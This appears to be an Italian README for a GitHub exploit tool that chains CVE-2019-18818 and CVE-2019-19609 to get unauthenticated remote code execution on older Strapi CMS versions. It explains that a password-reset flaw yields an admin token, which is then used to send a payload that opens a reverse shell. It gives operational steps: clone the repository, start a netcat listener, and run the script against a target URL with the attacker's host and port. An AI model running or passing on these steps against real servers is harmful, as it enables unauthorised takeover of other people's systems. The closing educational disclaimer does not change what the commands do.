
Script di exploit che mostra una combinazione di CVE-2019-18818 e CVE-2019-19609 per l'esecuzione remota di codice senza autenticazione in Strapi CMS.
Script di exploit che mostra una combinazione di CVE-2019-18818 e CVE-2019-19609 per l'esecuzione remota di codice non autenticata in Strapi CMS.
Questo script sfrutta una vulnerabilità nelle versioni di Strapi CMS 3.0.0-beta.17.4 e precedenti, consentendo l'esecuzione remota di codice non autenticata.
L'exploit funziona sfruttando prima una vulnerabilità di reset della password per ottenere un JSON Web Token (JWT) per un utente amministrativo. Questo token viene poi utilizzato per inviare un payload dannoso a Strapi CMS, che attiva una reverse shell verso la macchina dell'attaccante.
Clona il repository:
git clone https://github.com/Hackhoven/Strapi-RCE.git
Naviga nella directory
cd Strapi-RCE/
Configura un listener Netcat
nc -nlvp <LPORT>
Esegui lo script con l'URL di destinazione, l'indirizzo IP dell'host locale e la porta dell'host locale come argomenti
python3 strapi-rce.py <TARGET_URL> <LHOST> <LPORT>
Questo script è destinato esclusivamente a scopi didattici. L'autore non approva né supporta l'uso di questo script per attività illegali o non etiche. Questo script dovrebbe essere utilizzato solo in attività legali di ricerca sulla sicurezza o in ambienti CTF. Usalo a tuo rischio e pericolo.
Realizzato da Hackhoven